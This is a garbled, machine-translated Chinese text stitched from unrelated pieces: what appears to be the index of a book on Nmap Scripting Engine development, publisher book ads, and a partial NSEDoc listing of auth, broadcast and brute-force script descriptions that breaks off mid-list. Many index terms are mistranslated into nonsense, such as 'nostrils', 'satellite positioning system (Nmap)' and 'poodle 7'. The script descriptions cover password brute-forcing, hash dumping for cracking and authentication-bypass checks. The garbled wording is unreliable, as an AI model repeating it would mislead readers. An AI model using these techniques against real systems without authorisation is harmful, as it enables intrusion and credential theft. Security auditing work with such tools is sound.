API 114-118
Brute NSE库
约104
账户类 104
司机类,实施106-108发动机类104
错误等级104
执行错误,用错误类处理 112
模式 105
模式,选择106
选项类 104
URL 104
使用情况 103
有效账户,通过账户类返回 111
与105,106的工作
蛮横的NSE库,期权
延迟 110
空通110
首先是109
max_guesses 110
max_retries 109
模式109
鼻孔 110
通行证 109
标题 110
用户通行证 110
C
捕获39个类别,NSE脚本
授权 12, 209
广播 12, 209
野蛮人 12, 209
默认 12, 209
发现 12, 209
剂量 12, 209
剥削 12, 209
外部 12, 209
fuzzer 12, 209
侵入性 12, 209
恶意软件 12, 209
安全 12, 13, 209
第13版,209
13, 209
角色类别 37
cldrn/nmap-nse-scripts, GitHub
URL 29
胁迫,Lua 33
评论, Lua 32
常用数据结构, Lua
约43
数组 44
链接列表 44
排队 45
第45套
表43
连接40个条件语句, Lua
否则 34
else-if 34
if-then 34
条件变量 171
coroutine.create函数 50
coroutine.resume函数 50
coroutine.running 函数 51 coroutines
约49,164
coroutine.create(f) function 164 coroutine.resume (co [, val1, ---])
功能 164
coroutine.running()函数 164
coroutine.status(co)函数 164
coroutine.wrap(f) 函数 164
coroutine.yield(--)函数 164
创造50
执行50
国家 164
状况,获得51
URL 170
与164-170的工作
产量52
coroutine.status函数 51, 168
coroutine.yield函数52信条NSE库
约84
URL 84
用于管理用户凭证 113
自定义数据结构, Lua
约46
http-default-accounts 47
http-enum数据库 46
D
数据
接收,使用NSE套接字 142 发送,使用NSE套接字 141
数据目录
定位 56
数据目录搜索顺序 56种数据类型,Lua
布尔型 36
职能 37
无 37
第36号
字符串 36
表36
线路37
用户数据 37
DBMS审计数据文件
约63
mysql-cis.audit 63
oracle-default-accounts.lst 64
甲骨文-sids 64
调试信息
包括,在NSE脚本输出中132, 133
开发环境
设置 28
驾驶员等级
check()函数 108
connect()函数 106
disconnect()函数 106, 107
实施106-108
login()函数 106
哑巴任务,Lua 32
E
else-if 条件语句 34 elseif 关键字 34
else 语句 34
埃尔维斯运算符。见三元运算符条目,Lua表
消耗检测字段 61
名称字段 61
rapidDetect字段 61
环境变量
关于71,72
SCRIPT_NAME 71
SCRIPT_PATH 71
SCRIPT_TYPE 71
错误类
使用,用于处理执行错误 112
以太网帧
建筑物 152, 153
异常处理
约73
URL 74
利用NSE类别
约185
http-adobe-coldfusion-apsa1301 185
http-csrf 185
http-iis-short-name-brute 185
http-stored-xss 185
jdwp-exec 185
smb-check-vulns 185
URL 186
表达方式
先进的脚本选择,用15种方式表演
F
FIFO队列 45
文件
关闭 49
NSE脚本参数,从16日开幕开始加载 48
阅读 48
写作 49
文件模式, Lua
a+ 48
w 48
w+ 48
流控制结构, Lua
约34
条件性语句 34
循环 35, 36
重复循环 35
while 循环 34
循环 35, 36 fuzzdb项目
URL 60
G
grepable输出格式
约133
限制 133
URL 133
H
Halcyon IDE
约29
URL 29
哈姆雷特88号心腹大患的脆弱性
剥削 191-196
主机
连接到,NSE套接字使用139,140主机发现阶段,Nmap 205 hostmap-*脚本集 21
主机表,NSE参数
约72
host.bin_ip字段 73
host.bin_ip_src字段 73
host.direct_connected字段 72
host.interface_mtu字段 72
host.ip字段 72
host.mac_addr字段 72
host.mac_addr_next_hop字段 72
host.mac_addr_src字段 72
host.name字段 72
host.os字段 72
host.targetname字段 72
host.times字段 73
host.traceroute字段 73
HTML报告
生成,用于NSE脚本输出 134
http-default-accounts 47
http-devframework-fingerprints.lua文件 60 http-devframework脚本
URL,以获取官方文件 62
http-enum脚本
URL,用于官方文件 60
http-fingerprints.lua文件 59
http-folders.txt文件 62
http-iis-webdav-vuln脚本
URL,以获取官方文件 62
http NSE库
URL 86
http-slowloris-check script 27 http-slowloris NSE exploit
URL 177
http-slowloris脚本27
http-sql-errors.lst文件 60 http-sql-injection脚本
URL,用于官方文件 60
http-vhosts脚本
URL,用于官方文档 62 http-web-files-extensions.lst文件 60 http-wordpress-plugins脚本
URL,以获取官方文件 63
I
if-then条件语句 34
ike-fingerprints.lua文件 67 ike-version脚本
URL,以获取官方文件 67
索引,Lua 32
信息收集,NSE脚本
约20
主机名,找到用于解决
同一IP地址 21
UPNP信息,收集20
安装, Nmap 8
io.close函数 49
io.open函数 48 I/O操作,Lua
约48
文件,关闭 49
文件模式 48
文件,打开 48
文件,阅读 48
文件,编写 49
io.read函数 48
io.write函数 49
ipairs()函数 36
J
Java调试线协议数据文件
约64
JDWPExecCmd.java 65
JDWPSystemInfo.class 65
K
键值对。见字典
L
荔湾区
URL 138
链接列表 44 Lua
约7,31
概念 32
并行机制 163
URL,用于在线文档 31
Lua 5.2 31
Lua, 概念
booleans 33
胁迫 33
评论 32
常用数据结构 43 Coroutine 49
自定义数据结构 46 数据类型 36
虚拟分配 32 流量控制结构 34-36 索引 32
I/O操作 48
元方法 52
元数据表 52
语义学 33
字符串处理 37
M
魔法人物 38 掌握-nse.com
URL 58
元方法,Lua
约52
算术 53
关系 53
MikroTik RouterOS API
强暴密码审计攻击,针对114-118的脚本。
mikrotik-routeros-brute脚本
URL 119
心智图,Nmap选项 211 modbus-discover脚本 95 msrpc库
URL,以获取文件 191
突变器
约176
创造176
mygroupnames.db文件 65 mysql-audit脚本
约25
URL,用于官方文件 64
mysql-brute脚本24
mysql-cis.audit文件 63
mysql-vuln-cve2012-2122.nse script
URL 73
N
网络I/O
约146
数据包,发送到/从以太网层发送 148
数据包,发送到/来自 IP 148 原始数据包,接收 147, 148 套接字,为原始数据包打开
捕获 146, 147
新脚本
增加30
卫星定位系统(Nmap)
约7
构建,从源代码开始 8-10 安装 8
并行性选项 162
URL,用于下载8个工作拷贝,更新 10
Nmap API
访问量 72
异常处理 73
NSE论点 72
Nmap数据文件
参考文献 68
Nmap开发邮件列表
URL 7
Nmap分布 208 Nmap分布,模板
URL,用于下载208
Nmap指纹提交器
URL 89
nmap图书馆
URL 125
nmap.new_socket()函数
af 139
协议 139
Nmap选项
思维导图 211
Nmap, 扫描阶段
主机发现 205
操作系统检测 205
输出 206
端口扫描 205
反向DNS解析 205 脚本后扫描 206
脚本预扫描 205
脚本扫描 205
目标列举 205
追踪205号公路
版本检测 205
Nmap脚本引擎。见NSE
nmap-service-probes文件
约90
URL 90
Nmap的许可证
URL,用于文件记录 70
NSE
约7、31、55、87、92、161、181
和扫描阶段使用了18种并行机制,用于消耗TCP
连接 177-179 版本检测模式 88
NSE API 69
NSE的论点
主机表 72
端口表73
NSE数据文件
约65
ike-fingerprints.lua 67
mygroupnames.db 65
rtsp-urls.txt 66
snmpcommunities.lst 66
ssl-ciphers 66
ssl-fingerprints 67
tftplist.txt 67
NSE图书馆
关于69, 74, 75, 82的brute NSE库75创建74, 75
信誉 84
功能,扩展 75-79
NSE模块,用C/C++编写 79-82 openssl 83
短港 83
ǞǞǞǞ
目标 83
URL,用于文档 82 漏洞 85
NSE模块
用C/C++编写的79-82
NSE登记处 74
NSE脚本参数
约15
装载,来自文件16
NSE脚本
约7,55
应用 19
类别 12
调试 17
示例 71
执行,迫使 17
领域 70
规则18
运行11
选择 13
选择,按类别 13, 14 选择,按文件名 14 选择,按文件夹 14 选择,按脚本名称 13, 14
选择,用表达式 15 vulns库,使用199-202
NSE脚本,字段
行动 70
类别 70
描述 70
执行规则 70
NSE脚本,可选字段
作者 70
依赖关系 71
许可证 70
NSE脚本模板
约207
URL 207
NSE插座
关于137,138
和原始数据包,处理 153-159 关闭 143
创造 139
存储在文件中的有效载荷,发送 143 用于连接到主机 139, 140 用于接收数据 142
使用,用于发送数据141,142
NSE螺纹
约170
条件变量 171-173
突变器 176, 177
ǞǞǞ
URL 137
O
ǞǞǞ
URL 92
openssl NSE库
约83
URL 83
oracle-default-accounts.lst文件 64 oracle-default-accounts脚本
URL,用于官方文件 64
oracle-sid-brute脚本
URL,用于官方文件 64
oracle-sids文件 64
操作系统检测阶段,Nmap 205输出,NSE脚本
调试信息,包括132, 133
格式化 121
grepable输出格式,限制 133 HTML报告,生成 134
Nmap结构化输出 122 verbosity消息,打印 131, 132 XML结构化输出 123-125
输出阶段,Nmap 206
P
数据包库
URL 152
数据包
发送,到/从以太网层 148 发送,到/从IP 148
pairs() 迭代器函数 36 并行机制,Lua
coroutines 164
并行机制,NSE
约170
NSE螺纹 170
并行性选项,Nmap
关于162个多主机。
同时扫描 162 发送探针计数,增加 162 计时模板 162, 163
密码审计, NSE 脚本
约24
篡改MySQL密码 24 篡改SMTP密码 24
密码字典 58 密码列表
阅读,使用unpwdb NSE库 112
passwords.lst文件 58种模式
约38
捕获 39
重复操作者 40
pcap_open方法
bpf参数146
设备参数 146
参数 "Promisec "146
snaplen参数 146
狮子狗7
端口规则、版本检测脚本
定义 93
端口扫描阶段,Nmap 205
端口表,NSE参数
约73
端口.号码字段 73
端口.协议字段 73
端口.服务字段 73
port.state字段 73
port.version字段 73
端口版本信息
匹配置信度,设置 95 更新 94
后处理程序
约92
NSE 92
SSL 92
Q
排队 45
R
迅速的SVN
约8
URL 8
原始数据包
和NSE套接字153-159二进制数据,打包149-151二进制数据,解包149-151
以太网框架,构建152,153
处理 153-159
操纵 149
接收 147, 148
插座,146的开口,147
呼叫中心
剥削 186-188
receive_buf()方法
约142
分隔符参数 142
keeppattern参数 142
关系元方法
eq 53
le 53
lt 53
约53
重复循环 35
重复操作者 40
反向DNS解析阶段,Nmap 205
rpcGrinder函数 174
rpc-grind脚本 99 rtsp-url-brute脚本
URL,用于官方文件 66
rtsp-urls.txt文件 66条规则,NSE脚本
hostrule() 19
portrule(host, port) 18
postrule() 18
prerule() 18
运行功能 177
S
安全类别,NSE脚本
旗帜 12
广播平 12
dns-recursion 12
火行12
upnp-info 12
安全语言,Lua 33
同源政策(SOP) 135个被扫描的端口
排除,来自版本检测 91
扫描阶段
和NSE 18
脚本
URL 143
脚本扫描后阶段,Nmap 206 脚本扫描前阶段,Nmap 205 脚本扫描阶段,Nmap 205语义,Lua 33
服务检测模式
启用 88
setmetatable函数 53
第45套炮击案
利用,在网络应用中 196, 197
URL 197
短端口NSE库
约83
http功能 84
功能性的端口号 84
port_or_service函数 84
URL 84
从属ID(SID) 95
慢郎中
URL 27
慢郎中的脆弱性
URL 177
smb图书馆
URL,以获取文件 191
smtp-brute脚本24
snmpcommunities.lst文件 66
softmatch 88 源代码
Nmap,从8-10开始构建
SSL 92
ssl-ciphers文件 66
ssl-enum-ciphers脚本
URL,用于官方文件 66
ssl-fingerprints文件 67 ssl-known-key脚本
URL,以获取官方文件 67
stdnse.base()方法 168 stdnse NSE库
约82
stdnse.debug函数 82
stdnse.get_script_args函数 82
stdnse.strjoin函数 82
stdnse.strsplit函数 82
stdnse.verbose函数 82
URL 75
verbose()函数 131
字符串处理, Lua
约37
角色类别 37
串联 40
魔法人物 38
模式 38
字符串长度,确定 42 字符串重复 42
字符串,格式化 42
字符串,连接 42, 43
字符串,拆分 42, 43
子字符串,寻找 41
字符串长度
确定 42
字符串重复 42个字符串
格式化 42
加入42
分割 42
子字符串
调查结果 41
监视控制和数据采集(SCADA) 95
T
表43
目标枚举阶段, Nmap 205 目标NSE库
URL 83
targets-sniffer脚本 23个TCP连接
消耗,与NSE 177-179
tftp-enum脚本
URL,以获取官方文件 68
tftplist.txt文件 67
计时模板162, 163 tls库
URL 191
跟踪路由阶段,Nmap 205
U
unpwdb NSE库
约112
passwords()函数 112
URL 113
用于读取密码列表 112 用于读取用户名 112 usernames()函数 112
用户凭证
管理,有信誉的NSE图书馆113
用户名字典 58个用户名
阅读,使用unpwdb NSE库 112
usernames.lst文件 58
V
ventrilo-info脚本97 verbose()函数
fmt参数 132
级别参数 131
口头信息
打印,在NSE脚本输出中 131, 132 版本控制系统(VCS) 8 版本检测模式,NSE
约88
匹配,有退路91阶段89
后处理程序 92
稀有程度,调整版本扫描 89 被扫描的端口,排除 91
版本探针数据库,更新89版本检测阶段,Nmap 205版本检测扫描
第88、89期
稀有程度,调整89个扫描端口,排除91个
版本检测脚本
类别,定义 93
例子 95
modbus-discover脚本 95
门户规则,定义 93
端口版本信息,更新 94 rpc-grind 脚本 99
Ventrilo-info 脚本 97
写作 93
version_port_or_service()函数 94个版本探针
匹配,有退路 91
版本探针数据库
文件格式 90
更新 89
URL 90
vhosts-default.lst文件存在62个漏洞
报告197-199
漏洞扫描
关于182, 183
利用NSE类别185, 186臭名昭著的心脏出血漏洞。
剥削 191-196
RealVNC,利用网络应用中的186-188 shellshock。
利用196, 197脆弱的Windows系统。
探测 188-191
漏洞扫描,NSE脚本
不安全的MySQL服务器配置。
检测25
SSL服务器,检测易受攻击的
CVE-2014-3566 27
网络服务器,检测容易受到缓慢的拒绝服务攻击 27
vulns库
URL 202
使用,在NSE脚本中199-202
W
网络应用程序审计数据文件
约59
http-devframework-fingerprints.lua 60
http-fingerprints.lua 59
http-folders.txt 62
http-sql-errors.lst 60
http-web-files-extensions.lst 60
vhosts-default.lst 62
wp-plugins.lst 63
while 循环 34 Windows系统
脆弱的Windows系统,检测188-191
wp-plugins.lst文件 63
X
XML结构化输出
约125
例子 123-125
实施125-131
xpath语法
URL 134
Nmap 6: 网络探索和安全审计手册
ISBN: 978-1-84951-748-5Paperback:318页
掌握Nmap 6及其脚本引擎的完整指南,涵盖渗透测试人员和系统管理员的实际任务
- 掌握Nmap 6的力量。
- 了解Nmap脚本引擎如何工作并开发您自己的脚本!
- 100%的实际任务,相关的和逐步的解释,有确切的命令和可选的参数描述。
高度安全环境下的高级渗透测试。终极安全指南
ISBN: 978-1-84951-774-4Paperback:414页
通过这个密集的实践指南,学会对高度安全的环境进行专业的渗透测试
- 学习如何进行高效、有组织的工作。
从一开始就进行有效的渗透测试
来完成。
- 通过建立和测试包括IDS和防火墙等常见安全措施的虚拟实验室环境,获得实际的渗透测试经验。
- 接受挑战,对一个虚构的公司从头到尾进行一次虚拟的渗透测试,然后通过一步步的解决方案来验证你的结果。
树莓派机器人项目
ISBN: 978-1-84969-432-2平装本:278页在有限的预算内 创建惊人的机器人项目
- 让你的项目说话和理解讲话
与Raspberry Pi。
- 使用标准网络摄像头,使你的项目看到并增强视觉能力。
- 充满了简单易懂的说明,让你的Raspberry Pi上线,开发机器人项目。
Talend Open Studio Cookbook
ISBN: 978-1-78216-726-6平装本:270页
超过100个配方,帮助你掌握Talend Open Studio,成为一个更有效的数据集成开发者
- 一组涵盖所有开发方面的练习,包括模式、使用tMap的映射、数据库和文件工作。
- 通过在Talend中使用上下文和调度作业,让你的代码为生产环境做好准备。
- 包括对代码进行调试和测试的练习。
- 许多关于练习和现实生活应用的额外提示和技巧。
NSEDoc 参考门户
有关NSE的更多信息,请参阅Nmap 文档中的“Nmap 脚本引擎”一章。
浏览 604 个NSE 脚本列表或阅读 139 个NSE 库。
NSE脚本类别
auth
broadcast
brute
default
discovery
dos
exploit
external
fuzzer
intrusive
malware
safe
version
vuln
auth
检索需要身份验证的 AJP 服务(Apache JServ 协议)的身份验证方案和领域。
在扫描结束时列出所有发现的凭据(例如,来自暴力破解和默认密码检查脚本)。
尝试暴力破解 DICOM 服务器(DICOM 服务提供者)的应用程序实体标题。
尝试通过部分 C-ECHO 请求发现 DICOM 服务器(DICOM 服务提供者)。它还检测服务器是否允许任何调用的应用程序实体标题。
使用给定的身份验证凭据在 Lotus Domino 控制台上运行控制台命令(另请参见:domcon-brute)
尝试利用 CVE-2006-5835 漏洞发现有效的 IBM Lotus Domino 用户并下载他们的 ID 文件。
检查 FTP 服务器是否允许匿名登录。
检索需要身份验证的 Web 服务的身份验证方案和领域。
尝试使用 http://seclists.org/fulldisclosure/2010/Oct/119中描述的目录遍历漏洞从梭子鱼网络垃圾邮件和病毒防火墙设备检索配置设置。
检查常见内容管理系统和 Web 服务器配置文件的备份和交换文件。
使用各种 Web 应用程序和设备使用的默认凭据进行访问测试。
尝试枚举所有经过身份验证的用户(默认情况下)都可以访问的散列 Domino Internet 密码。此脚本还可以下载附加到个人文档的任何 Domino ID 文件。密码以适合在 John the Ripper 中运行的形式呈现。
尝试通过执行 HTTP 动词篡改来绕过受密码保护的资源(HTTP 401 状态)。如果未设置要检查的路径数组,它将爬取 Web 服务器并针对它找到的任何受密码保护的资源执行检查。
尝试在启用了 mod_userdir 模块或类似模块的 Web 服务器上枚举有效用户名。
测试 JBoss 目标是否容易受到 jmx 控制台身份验证绕过 (CVE-2010-0738) 的攻击。
检测采用英特尔主动管理技术的系统是否容易受到 INTEL-SA-00075 权限提升漏洞 (CVE2017-5689) 的攻击。
通过利用版本 2.6、3.1、3.1.1、3.1.3 和 3.2-beta2 以及可能的其他版本中存在的信息泄露漏洞枚举 Wordpress 博客/CMS 安装中的用户名。
使用给定的身份验证凭证对 IBM Informix Dynamic Server 运行查询(另请参阅:informix-brute)。
检索 Informix 服务器上每个数据库的表和列定义列表。
通过针对 Kerberos 服务的暴力查询可能的用户名来发现有效的用户名。当请求无效的用户名时,服务器将使用 Kerberos 错误代码 KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN 进行响应,从而允许我们确定用户名无效。有效的用户名将非法 AS-REP 响应中的 TGT 或错误 KRB5KDC_ERR_PREAUTH_REQUIRED,表明用户需要执行预身份验证。
以适合 John-the-ripper 等工具破解的格式从 MS-SQL 服务器转储密码哈希。为此,用户需要具有适当的数据库权限。
尝试使用 sysadmin (sa) 帐户的空密码向 Microsoft SQL Server 进行身份验证。
查询 Microsoft SQL Server (ms-sql) 实例以获取用户有权访问的数据库列表。
从 MySQL 服务器转储密码哈希,格式适合被 John the Ripper 等工具破解。需要适当的数据库权限(root)。
root
使用或 的空密码检查 MySQL 服务器anonymous
。
对 MySQL 数据库运行查询并将结果作为表返回。
尝试列出 MySQL 服务器上的所有用户。
从 Novell NetWare 核心协议 (NCP) 服务检索所有 eDirectory 用户的列表。
检查 NetBus 服务器是否容易受到身份验证绕过漏洞的影响,该漏洞允许在不知道密码的情况下进行完全访问。
尝试针对未修补的 Oracle 11g 服务器枚举有效的 Oracle 用户名(此错误已在 Oracle 2009 年 10 月的重要补丁更新中修复)。
检查 VNC 服务器是否容易受到 RealVNC 身份验证绕过 (CVE-2006-2369) 的攻击。
枚举 SIP 服务器的有效分机(用户)。
尝试通过两种不同的技术(均通过使用端口 445 或 139 的 MSRPC;请参阅 参考资料)枚举远程 Windows 系统上的用户,并提供尽可能多的信息smb.lua
。此脚本的目标是发现远程系统上存在的所有用户帐户。这有助于管理,通过查看谁在服务器上拥有帐户,或通过确定系统上存在哪些帐户来进行渗透测试或网络足迹。
尝试通过发出 VRFY、EXPN 或 RCPT TO 命令枚举 SMTP 服务器上的用户。此脚本的目标是发现远程系统中的所有用户帐户。
尝试通过 SNMP 枚举 Windows 用户帐户
返回 SSH 服务器支持的身份验证方法。
此脚本获取私钥、密码和用户名的路径表,并检查每一对以查看目标 ssh 服务器是否接受它们进行公钥身份验证。如果没有给出密钥或给出 known-bad 选项,脚本将检查是否接受已知静态公钥列表进行身份验证。
检查您是否被允许连接到 X 服务器。
发现支持 ATA over Ethernet 协议的服务器。ATA over Ethernet 是 Brantley Coile 公司开发的以太网协议,允许通过以太网对 SATA 驱动器进行简单、高性能的访问。
尝试使用 DNS 服务发现协议发现本地网络中的主机并向每个主机发送一个 NULL UDP 数据包,以测试它是否容易受到 Avahi NULL UDP 数据包拒绝服务 (CVE-2011-1002) 的攻击。
尝试通过向与协议关联的两个端口的网络广播地址发送 BJNP Discover 请求来发现支持 BJNP 协议的 Canon 设备(打印机/扫描仪)。
尝试通过向端口 523/udp 发送广播请求来发现网络上的 DB2 服务器。
向广播地址 (255.255.255.255) 发送 DHCP 请求并报告结果。默认情况下,该脚本使用静态 MAC 地址 (DE:AD:CO:DE:CA:FE) 以防止 IP 池耗尽。
向 DHCPv6 多播地址发送 DHCPv6 请求(Solicit),解析响应,然后提取并打印地址以及服务器返回的任何选项。
尝试使用 DNS 服务发现协议发现主机的服务。它发送多播 DNS-SD 查询并收集所有响应。
侦听 Dropbox.com 客户端每 20 秒广播一次的 LAN 同步信息广播,然后打印所有发现的客户端 IP 地址、端口号、版本号、显示名称等。
通过思科的增强型内部网关路由协议 (EIGRP) 执行网络发现和路由信息收集。
通过发送发现的网络广播探测来发现 LAN 上的 HID 设备。
发现具有 IGMP 多播成员资格的目标并获取有趣的信息。
通过发送发现广播探测来发现 LAN 上的 Jenkins 服务器。
嗅探网络以获取传入的广播通信并尝试解码接收到的数据包。它支持 CDP、HSRP、Spotify、DropBox、DHCP、ARP 等协议。有关更多信息,请参见 packetdecoders.lua。
发现同一广播域中的 Microsoft SQL 服务器。
尝试发现主浏览器及其管理的域。
通过发送网络广播查询发现 LAN 上的 EMC Networker 备份软件服务器。
尝试使用服务定位协议来发现 Novell NetWare 核心协议 (NCP) 服务器。
使用开放最短路径优先版本 2 (OSPFv2) 协议发现 IPv4 网络。
发送特殊的广播探测以发现 LAN 上运行的 PC-Anywhere 主机。
通过发送特殊的广播 UDP 探测来发现在 LAN 上运行的 PC-DUO 远程控制主机和网关。
发现正在运行 PIM(协议独立多播)的路由器。
使用原始以太网数据包在选定接口上发送广播 ping,并输出响应主机的 IP 和 MAC 地址,或者(如果请求)将它们添加为目标。运行此脚本需要 UNIX 上的根权限,因为它使用原始套接字。大多数操作系统不会响应广播 ping 探测,但可以将它们配置为这样做。
使用 PPPoE 发现协议 (PPPoED) 发现 PPPoE(以太网点对点协议)服务器。PPPoE 是基于以太网的协议,因此脚本必须知道使用哪个以太网接口进行发现。如果未指定接口,则在所有可用接口上发送请求。
从 LAN 上运行 RIPv2 的设备中发现主机和路由信息。它通过发送 RIPv2 请求命令并收集所有响应请求的设备的响应来实现这一点。
通过发送广播 RIPng 请求命令并收集任何响应,从 LAN 上运行 RIPng 的设备发现主机和路由信息。
使用与制造商拥有的“SetupTool”相同的方法发现直接连接(未路由)的 Sonicwall 防火墙。需要配置接口,因为脚本会广播 UDP 数据包。
通过发送广播发现消息来发现 LAN 上的 Sybase Anywhere 服务器。
发现 LAN 上的 Telldus Technologies TellStickNet 设备。Telldus TellStick 用于无线控制电灯、调光器和电源插座等电子设备。欲了解更多信息:http ://www.telldus.com/
尝试通过发送多播查询,然后收集、解析和显示所有响应来从 UPnP 服务中提取系统信息。
使用广播 srvloc 协议发现 Versant 对象数据库。
通过发送 Wake-On-Lan 数据包将远程系统从睡眠中唤醒。
使用 Web 代理自动发现协议 (WPAD) 检索 LAN 上的代理服务器列表。它同时实现了 DHCP 和 DNS 方法,并首先查询 DHCP 以获取地址。DHCP 发现要求 nmap 在特权模式下运行,如果不是这种情况,将被跳过。DNS 发现依赖于脚本能够通过脚本参数或尝试反向解析本地 IP 来解析本地域。
使用多播查询来发现支持 Web 服务动态发现 (WS-Discovery) 协议的设备。它还尝试查找任何已发布的 Windows Communication Framework (WCF) Web 服务(.NET 4.0 或更高版本)。
通过向 LAN 发送 XDMCP 广播请求来发现运行 X 显示管理器控制协议 (XDMCP) 的服务器。允许访问的显示管理器在结果中使用关键字 Willing 进行标记。
枚举 EAP(可扩展身份验证协议)身份验证器为给定身份或匿名身份提供的身份验证方法(如果未传递参数)。
使用 Multicast Listener Discovery 列出链接本地范围内 IPv6 多播侦听器订阅的多播地址。IANA IPv6 多播地址空间注册表中的地址列出了它们的描述。
通过向多播地址 224.0.23.12 发送 KNX 搜索请求(包括目标端口为 3671 的 UDP 有效负载)来发现 KNX 网关。KNX 网关将使用 KNX 搜索响应进行响应,其中包括有关网关的各种信息,例如 KNX 地址和支持的服务。
使用 LLMNR(链路本地多播名称解析)协议解析主机名。
使用 Microsoft LLTD 协议来发现本地网络上的主机。
查询组播路由信息的目标。
查询从源主机到目的主机的多播路径。
向所有节点链路本地多播地址 ( ) 发送 ICMPv6 回显请求数据包,ff02::1
以发现 LAN 上的响应主机,而无需单独 ping 每个 IPv6 地址。
向所有节点链路本地多播地址 ( ) 发送带有无效扩展头的 ICMPv6 数据包,ff02::1
以发现 LAN 上的(某些)可用主机。这是可行的,因为一些主机将使用 ICMPv6 参数问题数据包响应此探测。
尝试通过向链路本地多播地址 (ff02::1) 发送 MLD(多播侦听器发现)查询并侦听任何响应来发现 LAN 上可用的 IPv6 主机。查询的最大响应延迟设置为 1,以促使主机立即响应,而不是等待来自其多播组的其他响应。
通过触发无状态地址自动配置 (SLAAC) 来执行 IPv6 主机发现。
在可配置的时间内(默认为 10 秒)嗅探本地网络并打印发现的地址。如果 newtargets
设置了脚本参数,则将发现的地址添加到扫描队列中。
- 法新社蛮横
-
针对 Apple 归档协议 (AFP) 执行密码猜测。
- ajp 蛮力
-
针对 Apache JServ 协议执行暴力密码审计。Web 服务器通常使用 Apache JServ 协议与后端 Java 应用程序服务器容器进行通信。
- 背孔蛮力
-
针对 BackOrifice 服务执行暴力密码审计。script 参数是强制性的
backorifice-brute.ports
(它指定了运行脚本的端口)。 - cassandra-brute
-
对 Cassandra 数据库执行暴力密码审计。
- cics-枚举
-
IBM 大型机的 CICS 事务 ID 枚举器。该脚本基于 Dominic White ( https://github.com/sensepost/mainframe_brute ) 的 mainframe_brute。但是,此脚本不依赖任何第三方库或工具,而是使用在 lua 中模拟 TN3270 屏幕的 NSE TN3270 库。
- cics-user-brute
-
CESL 登录屏幕的 CICS 用户 ID 暴力破解脚本。
- cics-用户枚举
-
CESL/CESN 登录屏幕的 CICS 用户 ID 枚举脚本。
- 思杰暴力 xml
-
尝试猜测 Citrix PN Web 代理 XML 服务的有效凭据。XML 服务针对本地 Windows 服务器或 Active Directory 进行身份验证。
- cvs-brute
-
针对 CVS pserver 身份验证执行暴力密码审计。
- cvs-brute-repository
-
尝试猜测托管在远程服务器上的 CVS 存储库的名称。知道正确的存储库名称后,就可以猜出用户名和密码。
- 洪水 rpc-brute
-
对 DelugeRPC 守护程序执行暴力密码审计。
- 双机
-
尝试暴力破解 DICOM 服务器(DICOM 服务提供者)的应用程序实体标题。
- dom-brute
-
针对 Lotus Domino 控制台执行暴力密码审计。
- dpap 蛮力
-
对 iPhoto 库执行暴力密码审核。
- drda-brute
-
对支持 IBM DB2 协议的数据库(如 Informix、DB2 和 Derby)执行密码猜测
- ftp 暴力破解
-
对 FTP 服务器执行暴力密码审计。
- http-brute
-
针对 http basic、digest 和 ntlm 身份验证执行暴力密码审计。
- http-form-brute
-
针对基于 http 表单的身份验证执行暴力密码审计。
- http-iis-short-name-brute
-
尝试暴力破解易受攻击的 IIS 服务器根文件夹中的文件和目录的 8.3 文件名(通常称为短名称)。此脚本是 PoC“iis 短名称扫描器”的实现。
- http-joomla-brute
-
针对 Joomla Web CMS 安装执行暴力密码审计。
- http-proxy-brute
-
对 HTTP 代理服务器执行暴力密码猜测。
- http-wordpress-brute
-
针对 Wordpress CMS/博客安装执行暴力密码审计。
- iax2-蛮力
-
针对 Asterisk IAX2 协议执行暴力密码审计。由于 maxcallnumber 限制(默认为 2048)而进行大量尝试时,猜测会失败。如果您在一段时间后收到“错误:重试次数过多,已中止......”,这很可能是正在发生的事情。为了避免这个问题,请尝试: - 减少字典的大小 - 使用蛮力延迟选项在猜测之间引入延迟 - 将猜测分成块并在它们之间等待一段时间
- imap 蛮力
-
使用 LOGIN、PLAIN、CRAM-MD5、DIGEST-MD5 或 NTLM 身份验证对 IMAP 服务器执行暴力密码审计。
- 印象远程发现
-
测试是否存在 LibreOffice Impress Remote 服务器。如果提供了 PIN,则检查 PIN 是否有效,并在请求时强制使用 PIN。
- informix-brute
-
针对 IBM Informix Dynamic Server 执行暴力密码审计。
- ipmi-brute
-
对 IPMI RPC 服务器执行暴力密码审计。
- 蛮横的
-
对 IRC(Internet 中继聊天)服务器执行暴力密码审计。
- irc-sasl-brute
-
对支持 SASL 身份验证的 IRC(Internet 中继聊天)服务器执行暴力密码审计。
- iscsi-brute
-
针对 iSCSI 目标执行暴力密码审计。
- ldap 蛮力
-
尝试暴力破解 LDAP 身份验证。默认情况下,它使用内置的用户名和密码列表。为了使用您自己的列表,请使用
userdb
和passdb
script 参数。 - lu-枚举
-
尝试枚举 TN3270E 服务器的逻辑单元 (LU)。
- 猛烈攻击
-
对 Couchbase Membase 服务器执行暴力密码审计。
- metasploit-msgrpc-brute
-
针对 Metasploit msgrpc 接口执行暴力用户名和密码审计。
- metasploit-xmlrpc-brute
-
使用 XMLRPC 协议对 Metasploit RPC 服务器执行暴力密码审计。
- mikrotik-routeros-brute
-
在启用 API RouterOS 接口的情况下,对 Mikrotik RouterOS 设备执行暴力密码审计。
- 凶猛的鼠标
-
对 RPA Tech 移动鼠标服务器执行暴力密码审计。
- mongodb-brute
-
对 MongoDB 数据库执行暴力密码审计。
- ms-sql-蛮力
-
对 Microsoft SQL Server (ms-sql) 执行密码猜测。与
broadcast-ms-sql-discover
脚本结合使用效果最佳。 - mysql-brute
-
对 MySQL 执行密码猜测。
- mysql-枚举
-
使用 Kingcope ( http://seclists.org/fulldisclosure/2012/Dec/9 ) 发现和发布的错误对 MySQL 服务器执行有效用户枚举。
- nessus-brute
-
使用 NTP 1.2 协议对 Nessus 漏洞扫描守护进程执行暴力密码审计。
- nessus-xmlrpc-brute
-
使用 XMLRPC 协议对 Nessus 漏洞扫描守护程序执行暴力密码审计。
- 网络总线暴力
-
针对 Netbus 后门(“远程管理”)服务执行暴力密码审计。
- 暴露暴力
-
使用 API 1.1 对 Nexpose 漏洞扫描程序执行暴力密码审计。
- nje-node-brute
-
z/OS JES 网络作业条目 (NJE) 目标节点名称蛮力。
- 一通蛮力
-
z/OS JES 网络作业条目 (NJE) “我记录”密码暴力破解。
- nping 蛮力
-
针对 Nping Echo 服务执行暴力密码审计。
- omp2-蛮力
-
使用 OMPv2 对 OpenVAS 管理器执行暴力密码审计。
- openvas-otp-brute
-
使用 OTP 1.0 协议对 OpenVAS 漏洞扫描程序守护进程执行暴力密码审计。
- oracle-brute
-
